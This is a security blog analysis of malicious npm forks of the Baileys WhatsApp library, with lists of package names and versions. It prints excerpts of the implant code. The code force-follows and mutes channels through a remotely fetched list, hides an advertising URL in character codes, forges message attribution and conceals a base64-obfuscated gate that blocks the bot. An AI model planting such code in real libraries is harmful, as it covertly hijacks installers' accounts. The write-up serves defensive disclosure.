| 341 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.3 |
| 342 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.2 |
| 343 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.0 |
| 344 | ECOSYSTEM_NPM | @crysnovax/baileys | 2.7.10 |
| 345 | ECOSYSTEM_NPM | @crysnovax/baileys | 2.7.6 |
| 346 | ECOSYSTEM_NPM | @vanzxy/baileys | 1.3.8 |
| 347 | ECOSYSTEM_NPM | ourin-baileys | 0.8.4 |
| 348 | ECOSYSTEM_NPM | @ostyado/baileys | 2.0.5 |
| 349 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.42 |
| 350 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.41 |
| 351 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.40 |
| 352 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.39 |
| 353 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.38 |
| 354 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.37 |
| 355 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.35 |
| 356 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.33 |
| 357 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.34 |
| 358 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.32 |
| 359 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.31 |
| 360 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.30 |
| 361 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.29 |
| 362 | ECOSYSTEM_NPM | @lordmega/baileys | 0.3.21 |
| 363 | ECOSYSTEM_NPM | khyz-baileys | 2.3.0 |
| 364 | ECOSYSTEM_NPM | xxbaileys | 5.0.0-beta.0 |
| 365 | ECOSYSTEM_NPM | te-baileys | 0.0.1-beta.0 |
| 366 | ECOSYSTEM_NPM | baileys-channel-mod | 1.0.4 |
| 367 | ECOSYSTEM_NPM | baileys-channel-mod | 1.0.3 |
| 368 | ECOSYSTEM_NPM | baileys-channel-mod | 1.0.2 |
| 369 | ECOSYSTEM_NPM | baileys-channel-mod | 1.0.1 |
| 370 | ECOSYSTEM_NPM | baileys-channel-mod | 1.0.0 |
| 371 | ECOSYSTEM_NPM | baileys-channel-mod | 1.0.5 |
| 372 | ECOSYSTEM_NPM | austiin-baileys | 1.1.4 |
| 373 | ECOSYSTEM_NPM | chromestaff-baileys | 1.1.9 |
| 374 | ECOSYSTEM_NPM | baileys-reseh | 1.0.2 |
| 375 | ECOSYSTEM_NPM | @sairidev/baileys-new | 0.3.21 |
| Row | ecosystem | name | version |
|---|---|---|---|
| 1 | ECOSYSTEM_NPM | @diezyyasha/libsignal-node | 2.2.8 |
| 2 | ECOSYSTEM_NPM | @vinnxcode/libsignal-node | 1.0.1 |
| 3 | ECOSYSTEM_NPM | @vinnxcode/libsignal-node | 1.0.0 |
| 4 | ECOSYSTEM_NPM | libsignal-node-travatiger | 1.0.1 |
| 5 | ECOSYSTEM_NPM | libsignal-node-travatiger | 1.0.0 |
| 6 | ECOSYSTEM_NPM | @dgxeon13/libsignal-node | 1.0.0 |
| 7 | ECOSYSTEM_NPM | @zizie071/libsignal-node | 3.4.6 |
| 8 | ECOSYSTEM_NPM | @zizie071/libsignal-node | 3.3.6 |
| 9 | ECOSYSTEM_NPM | @hanssoft/libsignal-node | 3.0.4 |
| 10 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.6 |
| 11 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.5 |
| 12 | ECOSYSTEM_NPM | @than-xs/libsignal-node | 2.0.5 |
| 13 | ECOSYSTEM_NPM | @sanzxcode/libsignal-node | 2.2.5 |
| 14 | ECOSYSTEM_NPM | @shenira/libsignal-node | 2.2.5 |
| 15 | ECOSYSTEM_NPM | @shenira/libsignal-node | 2.2.4 |
| 16 | ECOSYSTEM_NPM | @dgxeon/libsignal-node | 1.0.1 |
| 17 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.4 |
| 18 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.3 |
| 19 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.2 |
| 20 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.1 |
| 21 | ECOSYSTEM_NPM | @daffadeveloper/libsignal-node | 2.0.3 |
| 22 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.0 |
| 23 | ECOSYSTEM_NPM | @skyzopedia/libsignal-node | 2.0.11 |
| 24 | ECOSYSTEM_NPM | @skyzopedia/libsignal-node | 2.0.8 |
| 25 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.1.9 |
| 26 | ECOSYSTEM_NPM | @skyzopedia/libsignal-node | 2.0.5 |
| 27 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.22 |
| 28 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.13 |
| 29 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.10 |
| 30 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.8 |
| 31 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.7 |
| 32 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.6 |
| 33 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.4 |
| 34 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.3 |
| 35 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.2 |
| 36 | ECOSYSTEM_NPM | @yaoii-bails/libsignal-node | 2.0.2 |
| 37 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.1 |
| 38 | ECOSYSTEM_NPM | @nazi-team/libsignal-node | 2.0.1 |
What links the packages
Each package is a different npm account with a different email. Most follow different channels. The
verified evidence does not show that one operator controls all of them. The packages overlap in one
place. mamz-baileys follows 120363406881628130@newsletter. A record for the removed
diezyyasha-baileys lists the same channel. Apart from this overlap, the packages share only the
forced-follow technique. The evidence points to independent operators that reuse the same technique.
How the follow evolved
The forced follow appears in three forms across the packages, from a fixed target to a remotely controlled list.
- Fixed target.
@neykoor/baileysfollows one hardcoded channel on every connection open. - Covert attribution.
mamz-baileysfollows a fixed channel and also injects an obfuscated advertising URL into every media message. - Remote control and concealment.
lupy4ufetches its target list from a public GitHub file, follows each channel, and then mutes it. The operator changes targets without republishing, and the mute hides the subscription from the account owner.
@prototypevip/baileys is different. It abuses the same authenticated session, but to send a message
from the installer and block the bot.
Part 2: technical analysis
The common technique
All confirmed packages act through the installer’s authenticated session. They do not steal a static secret such as a token. The differences are which action they take and how the code reaches the session.
Forced follow of an attacker channel
@neykoor/[email protected] follows a hardcoded channel on every connection. The implant sits in
lib/Socket/newsletter.js.
// lib/Socket/newsletter.js (@neykoor/[email protected])const AUTO_FOLLOW_JID = '120363401404146384@newsletter';ev.on('connection.update', async ({ connection }) => { if (connection === 'open') { try { const followed = await isFollowingNewsletter(AUTO_FOLLOW_JID); if (!followed) { await executeWMexQueryIgnoreResponse({ newsletter_id: AUTO_FOLLOW_JID }, QueryIds.FOLLOW); } } catch {} }});Three properties make it deliberate. It binds to an automatic lifecycle event that no bot developer
calls, discards the response with a fire-and-forget query, and hides every error with an empty catch.
The pre-check keeps it silent on later reconnects. The socket chain shows the code reaches the
listener at runtime. makeWASocket builds down through messages-send.js, which calls
makeNewsletterSocket, which registers this listener.
A remotely controlled follow list
[email protected] moves the target list off the package and onto the network. autoJoinChannels() in
lib/Socket/newsletter.js fetches a JSON file from GitHub, then follows and mutes each channel it
returns.
// lib/Socket/newsletter.js ([email protected])const autoJoinChannels = async () => { const res = await fetch('https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json'); const ids = await res.json(); for (const id of ids) { if (typeof id !== 'string' || !id.endsWith('@newsletter')) continue; await newsletterWMexQuery(id, QueryIds.FOLLOW); await new Promise((r) => setTimeout(r, 3000)); await newsletterWMexQuery(id, QueryIds.MUTE); }};sock.ev.on('connection.update', ({ connection }) => { if (connection !== 'open') return; setTimeout(() => autoJoinChannels(), 30000);});The list is remote, so the operator changes the targets without publishing a new version. The code pairs each follow with a mute, which stops the notification that would show the account owner the new subscription. It offers no opt-out and no consent prompt.
An advertising URL injected into media
[email protected] adds a second behaviour on top of a forced follow. In lib/Socket/messages-send.js,
at two sites, it sets a sourceUrl on the preview payload of every image and video the bot sends.
It builds the URL from a character-code array rather than writing it as text.
// lib/Socket/messages-send.js ([email protected]), lines 425 and 436// prettier-ignoresourceUrl: String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 102, 105, 111, 114, 97, 46, 110, 105, 120, 101, 108, 46, 109, 121, 46, 105, 100, 47);// decodes to https://fiora.nixel.my.id/Every other URL in the file is a plain string. Only this one comes from character codes. The two forms behave the same at runtime, so the character codes serve only to keep the URL out of a text search. The author’s domain then rides on the media the installer sends to their own contacts.
Forged attribution on outgoing messages
@cikikomo/[email protected] adds the operator’s channel attribution to the victim’s outgoing messages
from lib/Socket/luxu.js.
// lib/Socket/luxu.js (@cikikomo/[email protected])forwardedNewsletterMessageInfo: { newsletterName: "CikiKomo", newsletterJid: "120363426628484388@newsletter", serverMessageId: 1}The same revision adds noSelfSync: true at four message-send sites. That flag suppresses syncing
the sent message back to the victim’s own devices, which lowers the chance the account holder notices
the injected attribution. The package advertises both the channel identifier and the noSelfSync
flag in its own package.json description, so the concealment targets the victim, not the buyer of
the fork.
Account block through an authorisation gate
@prototypevip/[email protected] hides an authorisation gate in lib/Store/prototype-store.js. The file
opens with a base64 string table and a one-line decoder.
// lib/Store/prototype-store.js (@prototypevip/[email protected])const _0x = [ 'Z2ludG9raQ==', // gintoki 'dHlwZQ==', // type 'bWQ=', // md 'd3M=', // ws 'c2VuZE1lc3NhZ2U=', // sendMessage 'dXNlcg==', // user 'amlk', // jid '2LrZitix...', // Arabic: "you are no longer authorized to use this bot"];const _d = (s) => Buffer.from(s, 'base64').toString('utf8');The gate walks each message object, finds the live multi-device socket, and compares its key to the
author’s own key gintoki. If the keys do not match, it sends an unauthorised-use notice from the
victim’s account and throws to halt message handling.
// lib/Store/prototype-store.js (@prototypevip/[email protected])if (v[_d(_0x[1])] === _d(_0x[2]) && v[_d(_0x[3])]) { // v.type === "md" && v.ws const _0s2 = _d(_0x[0]); // "gintoki" if (k !== _0s2 && _0xobj.ulid) { v[_d(_0x[4])](v[_d(_0x[5])]?.[_d(_0x[6])], { // v.sendMessage(v.user?.jid, ...) text: _d(_0x[7]), }); const _e = (s) => new Error(_d(s)); throw _e("QmxvY2tlZA=="); // "Blocked" } continue;}cloneM() wraps the gate and runs inside the messages.upsert listener, so it runs on every message
the bot receives, not only at startup. A legitimate licence check has no reason to hide the word
sendMessage behind base64. The author hid it on purpose.
- malware
- npm
- supply-chain
- adware
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Mini Shai-Hulud Strikes Again: openapi-react-query-codegen
An attacker exploited a flawed GitHub Actions workflow to publish 10 malicious versions of @7nohe/openapi-react-query-codegen (671K downloads/month) via npm OIDC trusted publishing. The payload uses...
Malicious Rust Crate arrayref Runs a Build-Time Payload
A compromised release of the popular Rust crate arrayref pulled in a typosquatted proc-macro1 whose build script downloads and runs a remote binary at compile time. The malicious versions are now...
From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer
A YouTube video ad impersonating TradingView delivered a fake .pkg installer. Inside: a self-healing LaunchAgent, an AES-encrypted V8 bytecode payload, and a Node.js MITM proxy trusted by a rogue...
npm Bin Entry Harvesting: A Dependency Confusion Blind Spot
21 malicious npm packages targeted Google by squatting CLI binary names from scoped packages, not package names. The technique exploits a structural gap that standard dependency confusion defenses do...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.